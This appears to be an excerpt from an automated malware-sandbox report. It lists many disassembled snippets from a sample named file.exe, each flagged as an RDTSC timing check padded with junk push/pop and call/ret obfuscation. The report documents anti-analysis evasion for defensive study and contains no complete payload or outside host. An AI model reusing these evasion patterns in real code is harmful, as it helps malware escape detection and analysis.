Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 110BA3A second address: 110BA8C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov dword ptr [esp], eax 0x0000000a push 00000000h 0x0000000c push esi 0x0000000d call 00007EFDB8F26A18h 0x00000012 pop esi 0x00000013 mov dword ptr [esp+04h], esi 0x00000017 add dword ptr [esp+04h], 00000015h 0x0000001f inc esi 0x00000020 push esi 0x00000021 ret 0x00000022 pop esi 0x00000023 ret 0x00000024 ja 00007EFDB8F26A1Ch 0x0000002a pushad 0x0000002b mov cx, 3E8Ch 0x0000002f popad 0x00000030 push 00000000h 0x00000032 sbb bx, 8730h 0x00000037 push 00000000h 0x00000039 sub dword ptr [ebp+122D3296h], eax 0x0000003f xchg eax, esi 0x00000040 push ebx 0x00000041 push eax 0x00000042 push edx 0x00000043 jg 00007EFDB8F26A16h 0x00000049 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 110DB33 second address: 110DB37 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 110AAF3 second address: 110AAF8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 110CBF6 second address: 110CC00 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 110FBE4 second address: 110FBEA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 110AAF8 second address: 110AAFD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 110CC00 second address: 110CC0C instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 110AAFD second address: 110AB03 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 110ABAE second address: 110ABB2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 110FD41 second address: 110FD46 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 110FD46 second address: 110FD5C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007EFDB8F26A1Ch 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 110FD5C second address: 110FD61 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 110FD61 second address: 110FDFA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pop edx 0x00000006 pop eax 0x00000007 nop 0x00000008 mov dword ptr [ebp+122D2354h], edi 0x0000000e push dword ptr fs:[00000000h] 0x00000015 push 00000000h 0x00000017 push esi 0x00000018 call 00007EFDB8F26A18h 0x0000001d pop esi 0x0000001e mov dword ptr [esp+04h], esi 0x00000022 add dword ptr [esp+04h], 0000001Ah 0x0000002a inc esi 0x0000002b push esi 0x0000002c ret 0x0000002d pop esi 0x0000002e ret 0x0000002f jmp 00007EFDB8F26A1Ch 0x00000034 mov dword ptr fs:[00000000h], esp 0x0000003b mov dword ptr [ebp+1247E9C1h], edi 0x00000041 mov eax, dword ptr [ebp+122D00E5h] 0x00000047 push 00000000h 0x00000049 push ebp 0x0000004a call 00007EFDB8F26A18h 0x0000004f pop ebp 0x00000050 mov dword ptr [esp+04h], ebp 0x00000054 add dword ptr [esp+04h], 0000001Ch 0x0000005c inc ebp 0x0000005d push ebp 0x0000005e ret 0x0000005f pop ebp 0x00000060 ret 0x00000061 sub dword ptr [ebp+122D25DCh], edi 0x00000067 push FFFFFFFFh 0x00000069 jo 00007EFDB8F26A1Ch 0x0000006f push eax 0x00000070 push eax 0x00000071 push edx 0x00000072 push eax 0x00000073 push edx 0x00000074 jno 00007EFDB8F26A16h 0x0000007a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 110FDFA second address: 110FE0C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007EFDB8CDCB0Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1111F70 second address: 1111F85 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007EFDB8F26A1Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push ebx 0x0000000c pop ebx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11166D2 second address: 11166D6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11166D6 second address: 11166DF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 111A015 second address: 111A02C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 jmp 00007EFDB8CDCB11h 0x0000000a pop esi 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 111A02C second address: 111A033 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 111A033 second address: 111A03E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push edi 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 111A1C5 second address: 111A1DA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007EFDB8F26A21h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 111A1DA second address: 111A1E5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 111FA78 second address: 111FA7C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 111FB11 second address: 111FB64 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 popad 0x00000006 push eax 0x00000007 jmp 00007EFDB8CDCB19h 0x0000000c mov eax, dword ptr [esp+04h] 0x00000010 push esi 0x00000011 pushad 0x00000012 jmp 00007EFDB8CDCB14h 0x00000017 jnp 00007EFDB8CDCB06h 0x0000001d popad 0x0000001e pop esi 0x0000001f mov eax, dword ptr [eax] 0x00000021 jnp 00007EFDB8CDCB14h 0x00000027 pushad 0x00000028 jg 00007EFDB8CDCB06h 0x0000002e push eax 0x0000002f push edx 0x00000030 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 111FB64 second address: 111FB86 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 mov dword ptr [esp+04h], eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007EFDB8F26A25h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 111FB86 second address: 111FB90 instructions: 0x00000000 rdtsc 0x00000002 jo 00007EFDB8CDCB06h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 111FB90 second address: 111FB96 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 111FB96 second address: 111FB9A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 111FD2C second address: 111FD30 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B7425 second address: 10B742B instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B742B second address: 10B7430 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B7430 second address: 10B743F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 jne 00007EFDB8CDCB06h 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1124C9F second address: 1124CA5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1124CA5 second address: 1124CA9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 112533B second address: 1125341 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1125341 second address: 112534C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007EFDB8CDCB06h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11254E4 second address: 11254F6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007EFDB8F26A1Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11254F6 second address: 1125502 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jbe 00007EFDB8CDCB06h 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11257E1 second address: 11257E9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11257E9 second address: 11257ED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1125973 second address: 1125979 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1125979 second address: 11259A0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007EFDB8CDCB11h 0x00000009 push esi 0x0000000a pop esi 0x0000000b popad 0x0000000c pushad 0x0000000d jmp 00007EFDB8CDCB0Ch 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1125B06 second address: 1125B18 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007EFDB8F26A1Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1125B18 second address: 1125B32 instructions: 0x00000000 rdtsc 0x00000002 js 00007EFDB8CDCB06h 0x00000008 jmp 00007EFDB8CDCB10h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1125B32 second address: 1125B3A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 push edi 0x00000007 pop edi 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1125B3A second address: 1125B44 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1125B44 second address: 1125B48 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1125B48 second address: 1125B4C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 112B04A second address: 112B054 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007EFDB8F26A16h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 112B344 second address: 112B348 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 112B348 second address: 112B37E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007EFDB8F26A22h 0x00000007 push esi 0x00000008 pop esi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jmp 00007EFDB8F26A22h 0x00000010 popad 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 push edx 0x00000015 pop edx 0x00000016 jp 00007EFDB8F26A16h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 112B37E second address: 112B382 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1130EEF second address: 1130F00 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007EFDB8F26A1Bh 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1130F00 second address: 1130F05 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 112FDB8 second address: 112FDCB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 jmp 00007EFDB8F26A1Bh 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 112FDCB second address: 112FDCF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10F51D8 second address: 10F51EB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007EFDB8F26A1Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10F51EB second address: 10F5201 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007EFDB8CDCB0Ch 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10F5201 second address: 10F5215 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 pop eax 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov eax, dword ptr [esp+04h] 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10F5215 second address: 10F5219 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10F5219 second address: 10F521F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10F521F second address: 10F5225 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10F53A8 second address: 10F53AD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10F540D second address: 10F5425 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007EFDB8CDCB14h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10F5425 second address: 10F544E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop esi 0x00000005 jmp 00007EFDB8F26A27h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d mov dword ptr [esp], esi 0x00000010 cmc 0x00000011 push eax 0x00000012 pushad 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10F544E second address: 10F5452 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10F56E6 second address: 10F56FF instructions: 0x00000000 rdtsc 0x00000002 jp 00007EFDB8F26A1Ch 0x00000008 ja 00007EFDB8F26A16h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 pushad 0x00000015 popad 0x00000016 pushad 0x00000017 popad 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10F56FF second address: 10F5709 instructions: 0x00000000 rdtsc 0x00000002 jo 00007EFDB8CDCB0Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10F5ADF second address: 10F5AE5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10F5AE5 second address: 10F5AEA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10F5AEA second address: 10F5AF4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jne 00007EFDB8F26A16h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10F5AF4 second address: 10F5AF8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10F5C91 second address: 10F5C96 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10F5C96 second address: 10F5C9C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10F5F5B second address: 10F5F65 instructions: 0x00000000 rdtsc 0x00000002 jl 00007EFDB8F26A16h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10F5F65 second address: 10F5F6A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10F5F6A second address: 10F5F8B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007EFDB8F26A24h 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push esi 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10F5F8B second address: 10F5F8F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 113016D second address: 1130177 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnc 00007EFDB8F26A16h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1130177 second address: 113018C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007EFDB8CDCB0Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d push edx 0x0000000e pop edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11302E8 second address: 11302EE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11302EE second address: 113030B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 jmp 00007EFDB8CDCB15h 0x0000000a push edi 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 113078E second address: 1130794 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1130794 second address: 11307B1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007EFDB8CDCB18h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11307B1 second address: 11307B7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1130A68 second address: 1130A7A instructions: 0x00000000 rdtsc 0x00000002 jng 00007EFDB8CDCB0Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a push ebx 0x0000000b pop ebx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1130A7A second address: 1130A7E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1130A7E second address: 1130AA1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push edi 0x0000000b jmp 00007EFDB8CDCB16h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1130AA1 second address: 1130AA6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 113A5EE second address: 113A5F4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 113A5F4 second address: 113A5FB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 113931F second address: 1139327 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11394CB second address: 11394D1 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11394D1 second address: 11394EB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jnl 00007EFDB8CDCB06h 0x0000000e jmp 00007EFDB8CDCB0Ch 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11394EB second address: 113951A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007EFDB8F26A29h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f jmp 00007EFDB8F26A1Ch 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11397FF second address: 113981F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007EFDB8CDCB0Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push esi 0x0000000a jno 00007EFDB8CDCB06h 0x00000010 pushad 0x00000011 popad 0x00000012 pop esi 0x00000013 push ebx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11399AB second address: 11399BE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007EFDB8F26A1Dh 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11399BE second address: 11399D3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 jc 00007EFDB8CDCB12h 0x0000000d jo 00007EFDB8CDCB06h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
